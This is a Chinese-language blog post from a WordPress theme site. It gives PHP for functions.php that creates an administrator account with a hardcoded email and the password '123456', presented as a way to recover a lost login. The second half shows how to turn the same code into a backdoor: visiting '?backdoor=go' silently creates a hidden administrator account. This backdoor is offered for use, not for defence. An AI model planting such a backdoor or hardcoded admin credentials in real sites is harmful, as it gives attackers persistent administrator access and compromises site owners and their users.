WordPress创建开发者账号的小技巧

WordPress创建开发者账号的小技巧,第1张

WordPress开发者管理账号一般都是通过网站后台进行创建登录的,但在后台账号丢失的情况下该如何登录呢,今天就教大家如何登录就直接新建开发者管理账号的小技巧:

WordPress创建开发者账号的小技巧,第2张

 

可以通过FTP,将下面代码添加到当前主题函数模板functions.php中,然后刷新页面会新建一个管理员账号:

// 新建一个管理账号

$user_email = '123@123.com';

$user_password = '123456';

if ( !username_exists( $user_email ) ) {

$user_id = wp_create_user( $user_email, $user_password, $user_email );

wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );

$user = new WP_User( $user_id );

$user->set_role( 'administrator' );

wp_die( '添加用户成功!' );

} else {

wp_die( '该用户已经存在,用后请移除本代码!' );

}

修改其中的邮件地址和密码,用后请移除本代码。

登录新建的管理员账号,修改原来账号的密码或者直接删除原来的账号。

这段代码还有一个不可告人的功能,稍微改一下,变成后门。

if ($_GET['backdoor'] == 'go') {

$user_email = '123@123.com';

$user_password = '123456';

if ( !username_exists( $user_email ) ) {

$user_id = wp_create_user( $user_email, $user_password, $user_email );

wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );

$user = new WP_User( $user_id );

$user->set_role( 'administrator' );

wp_die( '添加用户成功!' );

} else {

wp_die( '该用户已经存在,用后请移除本代码!' );

}

}

只有打开一个特定的链接,比如:

example.com/?backdoor=go

才会运行这段代码,并新建管理账号。

DABAN RP主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
网站模板库 » WordPress创建开发者账号的小技巧

0条评论

发表评论

提供最优质的资源集合

立即查看 了解详情